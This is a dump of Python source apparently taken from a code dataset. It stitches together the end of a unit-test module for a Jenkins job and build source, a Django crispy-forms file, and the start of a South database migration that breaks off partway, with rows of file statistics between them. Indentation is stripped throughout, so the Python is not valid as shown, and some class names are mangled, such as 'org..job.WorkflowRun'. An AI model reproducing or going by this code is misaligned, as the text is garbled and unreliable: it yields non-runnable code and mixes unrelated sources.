Test that get_last_build is called when calling get_builds with
--last-build option.
"""
response = {'jobs': [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}
}]}
self.jenkins.send_request = Mock(side_effect=[response])
arg = Mock()
arg.value = []
jobs = self.jenkins.get_builds(last_build=arg)
self.assertEqual(len(jobs), 1)
job = jobs["ansible"]
self.assertEqual(job.name.value, "ansible")
self.assertEqual(job.url.value, "url1")
self.assertEqual(len(job.builds.value), 1)
build = job.builds.value["1"]
self.assertEqual(build.build_id.value, "1")
self.assertEqual(build.status.value, "SUCCESS")
def test_get_last_build_job_no_builds(self):
"""Test that get_last_build handles properly a job has no builds."""
response = {'jobs': [{'_class': 'org.job.WorkflowJob',
'name': 'ansible-nfv-branch', 'url': 'url',
'lastBuild': None},
{'_class': 'folder'}]}
self.jenkins.send_request = Mock(side_effect=[response])
jobs = self.jenkins.get_last_build()
self.assertEqual(len(jobs), 1)
job = jobs["ansible-nfv-branch"]
self.assertEqual(job.name.value, "ansible-nfv-branch")
self.assertEqual(job.url.value, "url")
self.assertEqual(len(job.builds.value), 0)
@patch("requests.get")
def test_send_request(self, patched_get):
"""
Test that send_request method parses the response correctly.
"""
response = {'jobs': [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1'}]}
patched_get.return_value = Mock(text=json.dumps(response))
self.assertEqual(response, self.jenkins.send_request("test"))
patched_get.assert_called_with(
f'://{self.jenkins.username}:{self.jenkins.token}@/api/jsontest',
verify=self.jenkins.cert, timeout=None
)
@patch("requests.get")
def test_send_request_with_item(self, patched_get):
"""
Test that send_request method parses the response correctly.
"""
response = {'jobs': [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1'}]}
patched_get.return_value = Mock(text=json.dumps(response))
self.assertEqual(response, self.jenkins.send_request("test",
item="item"))
api_part = "item/api/jsontest"
patched_get.assert_called_with(
f'://{self.jenkins.username}:{self.jenkins.token}@/{api_part}',
verify=self.jenkins.cert, timeout=None
)
@patch("requests.get")
def test_send_request_with_raw_response(self, patched_get):
"""
Test that send_request returns the raw response.
"""
response = {'jobs': [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1'}]}
response = json.dumps(response)
patched_get.return_value = Mock(text=response)
self.assertEqual(response,
self.jenkins.send_request("test", raw_response=True))
api_part = "api/jsontest"
patched_get.assert_called_with(
f'://{self.jenkins.username}:{self.jenkins.token}@/{api_part}',
verify=self.jenkins.cert, timeout=None
)
def test_get_deployment(self):
""" Test that get_deployment reads properly the information obtained
from jenkins.
"""
job_names = ['test_17.3_ipv4_job_2comp_1cont',
'test_16_ipv6_job_1comp_2cont', 'test_job']
ip_versions = ['4', '6', 'unknown']
releases = ['17.3', '16', '']
topologies = ["compute:2,controller:1", "compute:1,controller:2", ""]
response = {'jobs': [{'_class': 'folder'}]}
for job_name in job_names:
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': job_name, 'url': 'url',
'lastBuild': None})
self.jenkins.send_request = Mock(side_effect=[response])
arg = Mock()
arg.value = []
jobs = self.jenkins.get_deployment(ip_version=arg)
self.assertEqual(len(jobs), 3)
for job_name, ip, release, topology in zip(job_names, ip_versions,
releases, topologies):
job = jobs[job_name]
deployment = job.deployment.value
self.assertEqual(job.name.value, job_name)
self.assertEqual(job.url.value, "url")
self.assertEqual(len(job.builds.value), 0)
self.assertEqual(deployment.release.value, release)
self.assertEqual(deployment.ip_version.value, ip)
self.assertEqual(deployment.topology.value, topology)
def test_get_deployment_many_jobs(self):
""" Test that get_deployment reads properly the information obtained
from jenkins.
"""
job_names = ['test_17.3_ipv4_job_2comp_1cont',
'test_16_ipv6_job_1comp_2cont', 'test_job']
ip_versions = ['4', '6', 'unknown']
releases = ['17.3', '16', '']
topologies = ["compute:2,controller:1", "compute:1,controller:2", ""]
response = {'jobs': [{'_class': 'folder'}]}
for job_name in job_names:
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': job_name, 'url': 'url',
'lastBuild': None})
for _ in range(12):
# ensure that there are more than 12 jobs and jenkins source gets
# deployment information from job name
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': 'test_job', 'url': 'url',
'lastBuild': None})
self.jenkins.send_request = Mock(side_effect=[response])
arg = Mock()
arg.value = []
jobs = self.jenkins.get_deployment(ip_version=arg)
self.assertEqual(len(jobs), 3)
for job_name, ip, release, topology in zip(job_names, ip_versions,
releases, topologies):
job = jobs[job_name]
deployment = job.deployment.value
self.assertEqual(job.name.value, job_name)
self.assertEqual(job.url.value, "url")
self.assertEqual(len(job.builds.value), 0)
self.assertEqual(deployment.release.value, release)
self.assertEqual(deployment.ip_version.value, ip)
self.assertEqual(deployment.topology.value, topology)
def test_get_deployment_artifacts_fallback(self):
""" Test that get_deployment falls back to reading job_names after
failing to find artifacts.
"""
job_names = ['test_17.3_ipv4_job_2comp_1cont',
'test_16_ipv6_job_1comp_2cont', 'test_job']
ip_versions = ['4', '6', 'unknown']
releases = ['17.3', '16', '']
topologies = ["compute:2,controller:1", "compute:1,controller:2", ""]
response = {'jobs': [{'_class': 'folder'}]}
for job_name in job_names:
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': job_name, 'url': 'url',
'lastBuild': {}})
# each job triggers 2 artifacts requests, if both fail, fallback to
# search the name
artifacts_fail = [JenkinsError for _ in range(6)]
self.jenkins.send_request = Mock(side_effect=[response]+artifacts_fail)
self.jenkins.add_job_info_from_name = Mock(
side_effect=self.jenkins.add_job_info_from_name)
jobs = self.jenkins.get_deployment()
self.jenkins.add_job_info_from_name.assert_called()
self.assertEqual(len(jobs), 3)
for job_name, ip, release, topology in zip(job_names, ip_versions,
releases, topologies):
job = jobs[job_name]
deployment = job.deployment.value
self.assertEqual(job.name.value, job_name)
self.assertEqual(job.url.value, "url")
self.assertEqual(len(job.builds.value), 0)
self.assertEqual(deployment.release.value, release)
self.assertEqual(deployment.ip_version.value, ip)
self.assertEqual(deployment.topology.value, topology)
def test_get_deployment_artifacts(self):
""" Test that get_deployment reads properly the information obtained
from jenkins using artifacts.
"""
job_names = ['test_17.3_ipv4_job', 'test_16_ipv6_job', 'test_job']
ip_versions = ['4', '6', 'unknown']
releases = ['17.3', '16', '']
topologies = ["compute:2,controller:3", "compute:1,controller:2",
"compute:2,controller:2"]
response = {'jobs': [{'_class': 'folder'}]}
for job_name in job_names:
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': job_name, 'url': 'url',
'lastBuild': {}})
artifacts = [
f"bla\nJP_TOPOLOGY='{topologies[0]}'\nPRODUCT_VERSION=17.3",
f"bla\nJP_TOPOLOGY='{topologies[1]}'\nPRODUCT_VERSION=16",
f"bla\nJP_TOPOLOGY='{topologies[2]}'\nPRODUCT_VERSION=",
]
self.jenkins.send_request = Mock(side_effect=[response]+artifacts)
jobs = self.jenkins.get_deployment()
self.assertEqual(len(jobs), 3)
for job_name, ip, release, topology in zip(job_names, ip_versions,
releases, topologies):
job = jobs[job_name]
deployment = job.deployment.value
self.assertEqual(job.name.value, job_name)
self.assertEqual(job.url.value, "url")
self.assertEqual(len(job.builds.value), 0)
self.assertEqual(deployment.release.value, release)
self.assertEqual(deployment.ip_version.value, ip)
self.assertEqual(deployment.topology.value, topology)
def test_get_deployment_filter_ipv(self):
"""Test that get_deployment filters by ip_version."""
job_names = ['test_17.3_ipv4_job', 'test_16_ipv6_job', 'test_job']
response = {'jobs': [{'_class': 'folder'}]}
for job_name in job_names:
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': job_name, 'url': 'url',
'lastBuild': None})
self.jenkins.send_request = Mock(side_effect=[response])
arg = Mock()
arg.value = ["4"]
jobs = self.jenkins.get_deployment(ip_version=arg)
self.assertEqual(len(jobs), 1)
job_name = 'test_17.3_ipv4_job'
job = jobs[job_name]
deployment = job.deployment.value
self.assertEqual(job.name.value, job_name)
self.assertEqual(job.url.value, "url")
self.assertEqual(len(job.builds.value), 0)
self.assertEqual(deployment.release.value, "17.3")
self.assertEqual(deployment.ip_version.value, "4")
self.assertEqual(deployment.topology.value, "")
def test_get_deployment_filter_topology(self):
"""Test that get_deployment filters by topology."""
job_names = ['test_17.3_ipv4_job_2comp_1cont',
'test_16_ipv6_job_1comp_2cont', 'test_job']
topology_value = "compute:2,controller:1"
response = {'jobs': [{'_class': 'folder'}]}
for job_name in job_names:
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': job_name, 'url': 'url',
'lastBuild': None})
self.jenkins.send_request = Mock(side_effect=[response])
arg = Mock()
arg.value = [topology_value]
jobs = self.jenkins.get_deployment(topology=arg)
self.assertEqual(len(jobs), 1)
job_name = 'test_17.3_ipv4_job_2comp_1cont'
job = jobs[job_name]
deployment = job.deployment.value
self.assertEqual(job.name.value, job_name)
self.assertEqual(job.url.value, "url")
self.assertEqual(len(job.builds.value), 0)
self.assertEqual(deployment.release.value, "17.3")
self.assertEqual(deployment.ip_version.value, "4")
self.assertEqual(deployment.topology.value, topology_value)
def test_get_deployment_filter_release(self):
"""Test that get_deployment filters by release."""
job_names = ['test_17.3_ipv4_job_2comp_1cont',
'test_16_ipv6_job_1comp_2cont', 'test_job']
response = {'jobs': [{'_class': 'folder'}]}
topology_value = "compute:2,controller:1"
for job_name in job_names:
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': job_name, 'url': 'url',
'lastBuild': None})
self.jenkins.send_request = Mock(side_effect=[response])
arg = Mock()
arg.value = ["17.3"]
jobs = self.jenkins.get_deployment(release=arg)
self.assertEqual(len(jobs), 1)
job_name = 'test_17.3_ipv4_job_2comp_1cont'
job = jobs[job_name]
deployment = job.deployment.value
self.assertEqual(job.name.value, job_name)
self.assertEqual(job.url.value, "url")
self.assertEqual(len(job.builds.value), 0)
self.assertEqual(deployment.release.value, "17.3")
self.assertEqual(deployment.ip_version.value, "4")
self.assertEqual(deployment.topology.value, topology_value)
def test_get_deployment_filter_topology_ip_version(self):
"""Test that get_deployment filters by topology and ip version."""
job_names = ['test_17.3_ipv4_job_2comp_1cont',
'test_16_ipv6_job_1comp_2cont', 'test_job']
topology_value = "compute:2,controller:1"
response = {'jobs': [{'_class': 'folder'}]}
for job_name in job_names:
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': job_name, 'url': 'url',
'lastBuild': None})
self.jenkins.send_request = Mock(side_effect=[response])
arg = Mock()
arg.value = [topology_value]
arg_ip = Mock()
arg_ip.value = ["6"]
jobs = self.jenkins.get_deployment(topology=arg, ip_version=arg_ip)
self.assertEqual(len(jobs), 0)
def test_get_deployment_filter_network_backend(self):
"""Test that get_deployment filters by topology and ip version."""
job_names = ['test_17.3_ipv4_job_2comp_1cont_geneve',
'test_16_ipv6_job_1comp_2cont_vxlan', 'test_job']
topology_value = "compute:2,controller:1"
response = {'jobs': [{'_class': 'folder'}]}
for job_name in job_names:
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': job_name, 'url': 'url',
'lastBuild': None})
self.jenkins.send_request = Mock(side_effect=[response])
arg = Mock()
arg.value = ["geneve"]
jobs = self.jenkins.get_deployment(network_backend=arg)
self.assertEqual(len(jobs), 1)
job_name = 'test_17.3_ipv4_job_2comp_1cont_geneve'
job = jobs[job_name]
deployment = job.deployment.value
self.assertEqual(job.name.value, job_name)
self.assertEqual(job.url.value, "url")
self.assertEqual(len(job.builds.value), 0)
self.assertEqual(deployment.release.value, "17.3")
self.assertEqual(deployment.ip_version.value, "4")
self.assertEqual(deployment.topology.value, topology_value)
self.assertEqual(deployment.network_backend.value, "geneve")
def test_get_deployment_filter_controller(self):
"""Test that get_deployment filters by controller."""
job_names = ['test_17.3_ipv4_job_2comp_1cont',
'test_16_ipv6_job_1comp_2cont', 'test_job']
topology_value = "compute:2,controller:1"
response = {'jobs': [{'_class': 'folder'}]}
for job_name in job_names:
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': job_name, 'url': 'url',
'lastBuild': None})
self.jenkins.send_request = Mock(side_effect=[response])
arg = Argument("compute", arg_type=str, description="", value=["<2"],
ranged=True)
jobs = self.jenkins.get_deployment(controllers=arg)
self.assertEqual(len(jobs), 1)
job_name = 'test_17.3_ipv4_job_2comp_1cont'
job = jobs[job_name]
deployment = job.deployment.value
self.assertEqual(job.name.value, job_name)
self.assertEqual(job.url.value, "url")
self.assertEqual(len(job.builds.value), 0)
self.assertEqual(deployment.release.value, "17.3")
self.assertEqual(deployment.ip_version.value, "4")
self.assertEqual(deployment.topology.value, topology_value)
def test_get_deployment_filter_computes(self):
"""Test that get_deployment filters by computes."""
job_names = ['test_17.3_ipv4_job_2comp_1cont',
'test_16_ipv6_job_1comp_2cont', 'test_job']
topology_value = "compute:2,controller:1"
response = {'jobs': [{'_class': 'folder'}]}
for job_name in job_names:
response['jobs'].append({'_class': 'org.job.WorkflowJob',
'name': job_name, 'url': 'url',
'lastBuild': None})
self.jenkins.send_request = Mock(side_effect=[response])
arg = Argument("compute", arg_type=str, description="", value=["2"],
ranged=True)
jobs = self.jenkins.get_deployment(computes=arg)
self.assertEqual(len(jobs), 1)
job_name = 'test_17.3_ipv4_job_2comp_1cont'
job = jobs[job_name]
deployment = job.deployment.value
self.assertEqual(job.name.value, job_name)
self.assertEqual(job.url.value, "url")
self.assertEqual(len(job.builds.value), 0)
self.assertEqual(deployment.release.value, "17.3")
self.assertEqual(deployment.ip_version.value, "4")
self.assertEqual(deployment.topology.value, topology_value)
class TestFilters(TestCase):
"""Tests for filter functions in jenkins source module."""
def test_filter_jobs(self):
"""
Test that filter_jobs filters the jobs given the user input.
"""
response = [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}},
{'_class': 'org..job.WorkflowRun',
'name': "test_jobs", 'url': 'url2',
'lastBuild': {'number': 2, 'result': "FAILURE"}},
{'_class': 'org..job.WorkflowRun',
'name': "ans2", 'url': 'url3',
'lastBuild': {'number': 0, 'result': "FAILURE"}}]
args = Mock()
args.value = ["ans"]
jobs_filtered = filter_jobs(response, jobs=args)
expected = [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}},
{'_class': 'org..job.WorkflowRun',
'name': "ans2", 'url': 'url3',
'lastBuild': {'number': 0, 'result': "FAILURE"}},
]
self.assertEqual(jobs_filtered, expected)
def test_filter_jobs_class(self):
"""
Test that filter_jobs filters the jobs given the job _class.
"""
response = [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}},
{'_class': 'jenkins.branch.OrganizationFolder',
'name': "test_jobs", 'url': 'url2',
'lastBuild': {'number': 2, 'result': "FAILURE"}},
{'_class': 'com.cloudbees.hudson.plugins.folder.Folder',
'name': "test_jobs", 'url': 'url2',
'lastBuild': {'number': 2, 'result': "FAILURE"}},
{'_class': 'hudson.model.FreeStyleProject',
'name': "ans2", 'url': 'url3',
'lastBuild': {'number': 0, 'result': "FAILURE"}}]
jobs_filtered = filter_jobs(response)
expected = [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}},
{'_class': 'hudson.model.FreeStyleProject',
'name': "ans2", 'url': 'url3',
'lastBuild': {'number': 0, 'result': "FAILURE"}},
]
self.assertEqual(jobs_filtered, expected)
def test_filter_job_name_job_url(self):
"""
Test that filter_jobs filters the jobs given the user input.
"""
response = [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}},
{'_class': 'org..job.WorkflowRun',
'name': "test_jobs", 'url': 'url2',
'lastBuild': {'number': 2, 'result': "FAILURE"}},
{'_class': 'org..job.WorkflowRun',
'name': "ans2", 'url': 'url3',
'lastBuild': {'number': 0, 'result': "FAILURE"}}]
job_name = Mock()
job_name.value = ["ans2"]
job_url = Mock()
job_url.value = ["url3"]
jobs_filtered = filter_jobs(response, job_name=job_name,
job_url=job_url)
expected = [{'_class': 'org..job.WorkflowRun',
'name': "ans2", 'url': 'url3',
'lastBuild': {'number': 0, 'result': "FAILURE"}}]
self.assertEqual(jobs_filtered, expected)
def test_filter_job_name(self):
"""
Test that filter_jobs filters the jobs given the user input.
"""
response = [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}},
{'_class': 'org..job.WorkflowRun',
'name': "test_jobs", 'url': 'url2',
'lastBuild': {'number': 2, 'result': "FAILURE"}},
{'_class': 'org..job.WorkflowRun',
'name': "ans2", 'url': 'url3',
'lastBuild': {'number': 0, 'result': "FAILURE"}}]
job_name = Mock()
job_name.value = ["ansible"]
jobs_filtered = filter_jobs(response, job_name=job_name)
expected = [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}}]
self.assertEqual(jobs_filtered, expected)
def test_filter_job_url(self):
"""
Test that filter_jobs filters the jobs given the user input.
"""
response = [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}},
{'_class': 'org..job.WorkflowRun',
'name': "test_jobs", 'url': 'url2',
'lastBuild': {'number': 2, 'result': "FAILURE"}},
{'_class': 'org..job.WorkflowRun',
'name': "ans2", 'url': 'url3',
'lastBuild': {'number': 0, 'result': "FAILURE"}}
]
job_url = Mock()
job_url.value = ["url2"]
jobs_filtered = filter_jobs(response, job_url=job_url)
expected = [{'_class': 'org..job.WorkflowRun',
'name': "test_jobs", 'url': 'url2',
'lastBuild': {'number': 2, 'result': "FAILURE"}}]
self.assertEqual(jobs_filtered, expected)
def test_filter_job_name_job_url_jobs(self):
"""
Test that filter_jobs filters the jobs given the user input.
"""
response = [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}},
{'_class': 'org..job.WorkflowRun',
'name': "test_jobs", 'url': 'url2',
'lastBuild': {'number': 2, 'result': "FAILURE"}},
{'_class': 'org..job.WorkflowRun',
'name': "ans2", 'url': 'url3',
'lastBuild': {'number': 0, 'result': "FAILURE"}}]
args = Mock()
args.value = ["ans"]
job_name = Mock()
job_name.value = ["ansible"]
job_url = Mock()
job_url.value = ["url1"]
jobs_filtered = filter_jobs(response, jobs=args, job_url=job_url,
job_name=job_name)
expected = [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}}]
self.assertEqual(jobs_filtered, expected)
def test_filter_builds_builds_build_id_build_status_empty(self):
"""Test that filter builds filters the builds given the user input."""
response = [{'_class': 'org..job.WorkflowRun', 'number': 3,
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': 4,
'result': 'FAILURE'},
{'_class': 'org..job.WorkflowRun', 'number': 5,
'result': 'success'}]
builds = Mock()
builds.value = []
build_id = Mock()
build_id.value = ["3"]
build_status = Mock()
build_status.value = ["failure"]
builds_filtered = filter_builds(response, builds=builds,
build_status=build_status,
build_id=build_id)
expected = []
self.assertEqual(builds_filtered, expected)
def test_filter_builds_builds_build_id_build_status(self):
"""Test that filter builds filters the builds given the user input."""
response = [{'_class': 'org..job.WorkflowRun', 'number': 3,
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': 4,
'result': 'FAILURE'},
{'_class': 'org..job.WorkflowRun', 'number': 5,
'result': 'success'}]
builds = Mock()
builds.value = []
build_id = Mock()
build_id.value = ["3"]
build_status = Mock()
build_status.value = ["success"]
builds_filtered = filter_builds(response, builds=builds,
build_status=build_status,
build_id=build_id)
expected = [{'_class': 'org..job.WorkflowRun', 'number': "3",
'result': 'SUCCESS'}]
self.assertEqual(builds_filtered, expected)
def test_filter_builds_builds_build_id(self):
"""Test that filter builds filters the builds given the user input."""
response = [{'_class': 'org..job.WorkflowRun', 'number': 3,
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': 3,
'result': 'FAILURE'},
{'_class': 'org..job.WorkflowRun', 'number': 5,
'result': 'success'}]
builds = Mock()
builds.value = []
build_id = Mock()
build_id.value = ["3"]
builds_filtered = filter_builds(response, builds=builds,
build_id=build_id)
expected = [{'_class': 'org..job.WorkflowRun', 'number': "3",
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': "3",
'result': 'FAILURE'}]
self.assertEqual(builds_filtered, expected)
def test_filter_builds_builds_build_status(self):
"""Test that filter builds filters the builds given the user input."""
response = [{'_class': 'org..job.WorkflowRun', 'number': 3,
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': 4,
'result': 'FAILURE'},
{'_class': 'org..job.WorkflowRun', 'number': 5,
'result': 'success'}]
builds = Mock()
builds.value = []
build_status = Mock()
build_status.value = ["success"]
builds_filtered = filter_builds(response, builds=builds,
build_status=build_status)
expected = [{'_class': 'org..job.WorkflowRun', 'number': "3",
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': "5",
'result': 'success'}]
self.assertEqual(builds_filtered, expected)
def test_filter_builds_build_id_build_status(self):
"""Test that filter builds filters the builds given the user input."""
response = [{'_class': 'org..job.WorkflowRun', 'number': 3,
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': 4,
'result': 'FAILURE'},
{'_class': 'org..job.WorkflowRun', 'number': 5,
'result': 'success'}]
build_id = Mock()
build_id.value = ["3"]
build_status = Mock()
build_status.value = ["success"]
builds_filtered = filter_builds(response,
build_status=build_status,
build_id=build_id)
expected = [{'_class': 'org..job.WorkflowRun', 'number': "3",
'result': 'SUCCESS'}]
self.assertEqual(builds_filtered, expected)
def test_filter_builds_builds(self):
"""Test that filter builds filters the builds given the user input."""
response = [{'_class': 'org..job.WorkflowRun', 'number': 3,
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': 4,
'result': 'FAILURE'},
{'_class': 'org..job.WorkflowRun', 'number': 5,
'result': 'success'}]
builds = Mock()
builds.value = ["3", "5"]
builds_filtered = filter_builds(response, builds=builds)
expected = [{'_class': 'org..job.WorkflowRun', 'number': "3",
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': "5",
'result': 'success'}]
self.assertEqual(builds_filtered, expected)
def test_filter_builds_build_status(self):
"""Test that filter builds filters the builds given the user input."""
response = [{'_class': 'org..job.WorkflowRun', 'number': 3,
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': 4,
'result': 'FAILURE'},
{'_class': 'org..job.WorkflowRun', 'number': 5,
'result': 'success'}]
build_status = Mock()
build_status.value = ["success"]
builds_filtered = filter_builds(response,
build_status=build_status)
expected = [{'_class': 'org..job.WorkflowRun', 'number': "3",
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': "5",
'result': 'success'}]
self.assertEqual(builds_filtered, expected)
def test_filter_builds_build_id(self):
"""Test that filter builds filters the builds given the user input."""
response = [{'_class': 'org..job.WorkflowRun', 'number': 3,
'result': 'SUCCESS'},
{'_class': 'org..job.WorkflowRun', 'number': 4,
'result': 'FAILURE'},
{'_class': 'org..job.WorkflowRun', 'number': 5,
'result': 'success'}]
build_id = Mock()
build_id.value = ["3"]
builds_filtered = filter_builds(response,
build_id=build_id)
expected = [{'_class': 'org..job.WorkflowRun', 'number': "3",
'result': 'SUCCESS'}]
self.assertEqual(builds_filtered, expected)
| 45.063927 | 79 | 0.544913 | 4,107 | 39,476 | 5.042367 | 0.069637 | 0.086194 | 0.041962 | 0.070114 | 0.863827 | 0.835096 | 0.815877 | 0.783959 | 0.766672 | 0.746584 | 0 | 0.015712 | 0.314774 | 39,476 | 875 | 80 | 45.115429 | 0.749871 | 0.088256 | 0 | 0.757755 | 0 | 0 | 0.199722 | 0.042381 | 0 | 0 | 0 | 0 | 0.187592 | 1 | 0.060561 | false | 0 | 0.008863 | 0.001477 | 0.075332 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0c9cac50847ace64bc14e28ae66c6764ba36ef41 | 1,182 | py | Python | django-modal-forms/test_app/forms.py | lyosonernes/Django | d13bd504419b0d2630885c979f9f8413371b80e8 | [
"MIT"
] | null | null | null | django-modal-forms/test_app/forms.py | lyosonernes/Django | d13bd504419b0d2630885c979f9f8413371b80e8 | [
"MIT"
] | null | null | null | django-modal-forms/test_app/forms.py | lyosonernes/Django | d13bd504419b0d2630885c979f9f8413371b80e8 | [
"MIT"
] | null | null | null | from django import forms
from crispy_forms.helper import FormHelper
from crispy_forms.layout import Layout
class TestForm(forms.Form):
name = forms.CharField(required=True)
email = forms.EmailField(required=False)
url = forms.URLField(required=False)
comment = forms.CharField(required=True, widget=forms.Textarea)
@property
def helper(self):
helper = FormHelper()
helper.form_tag = False # don't render form DOM element
helper.render_unmentioned_fields = True # render all fields
helper.label_class = 'col-md-2'
helper.field_class = 'col-md-10'
return helper
class TestForm2(forms.Form):
name = forms.CharField(required=True, initial='test')
email = forms.EmailField(required=False)
url = forms.URLField(required=False)
comment = forms.CharField(required=True, widget=forms.Textarea)
@property
def helper(self):
helper = FormHelper()
helper.form_tag = False # don't render form DOM element
helper.render_unmentioned_fields = True # render all fields
helper.label_class = 'col-md-2'
helper.field_class = 'col-md-10'
return helper
| 32.833333 | 67 | 0.689509 | 148 | 1,182 | 5.425676 | 0.304054 | 0.069738 | 0.109589 | 0.129514 | 0.839352 | 0.839352 | 0.839352 | 0.742217 | 0.742217 | 0.742217 | 0 | 0.007551 | 0.215736 | 1,182 | 35 | 68 | 33.771429 | 0.858684 | 0.080372 | 0 | 0.758621 | 0 | 0 | 0.035153 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.068966 | false | 0 | 0.103448 | 0 | 0.586207 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0cca15ac2f4228750bf88045ffbca3c5e4114ff7 | 34,241 | py | Python | moztrap/model/execution/migrations/0002_auto__add_field_runcaseversion_cc_version__add_field_run_cc_version__a.py | yifanjiang/moztrap | 2130c7101b7596b19a2697ab5f1c745e93e7c95b | [
"BSD-2-Clause"
] | 1 | 2015-02-10T15:09:42.000Z | 2015-02-10T15:09:42.000Z | moztrap/model/execution/migrations/0002_auto__add_field_runcaseversion_cc_version__add_field_run_cc_version__a.py | yifanjiang/moztrap | 2130c7101b7596b19a2697ab5f1c745e93e7c95b | [
"BSD-2-Clause"
] | null | null | null | moztrap/model/execution/migrations/0002_auto__add_field_runcaseversion_cc_version__add_field_run_cc_version__a.py | yifanjiang/moztrap | 2130c7101b7596b19a2697ab5f1c745e93e7c95b | [
"BSD-2-Clause"
] | null | null | null | # encoding: utf-8
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'RunCaseVersion.cc_version'
db.add_column('execution_runcaseversion', 'cc_version', self.gf('django.db.models.fields.IntegerField')(default=0), keep_default=False)
# Adding field 'Run.cc_version'
db.add_column('execution_run', 'cc_version', self.gf('django.db.models.fields.IntegerField')(default=0), keep_default=False)
# Adding field 'Result.cc_version'
db.add_column('execution_result', 'cc_version', self.gf('django.db.models.fields.IntegerField')(default=0), keep_default=False)
# Adding field 'StepResult.cc_version'
db.add_column('execution_stepresult', 'cc_version', self.gf('django.db.models.fields.IntegerField')(default=0), keep_default=False)
# Adding field 'RunSuite.cc_version'
db.add_column('execution_runsuite', 'cc_version', self.gf('django.db.models.fields.IntegerField')(default=0), keep_default=False)
def backwards(self, orm):
# Deleting field 'RunCaseVersion.cc_version'
db.delete_column('execution_runcaseversion', 'cc_version')
# Deleting field 'Run.cc_version'
db.delete_column('execution_run', 'cc_version')
# Deleting field 'Result.cc_version'
db.delete_column('execution_result', 'cc_version')
# Deleting field 'StepResult.cc_version'
db.delete_column('execution_stepresult', 'cc_version')
# Deleting field 'RunSuite.cc_version'
db.delete_column('execution_runsuite', 'cc_version')
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
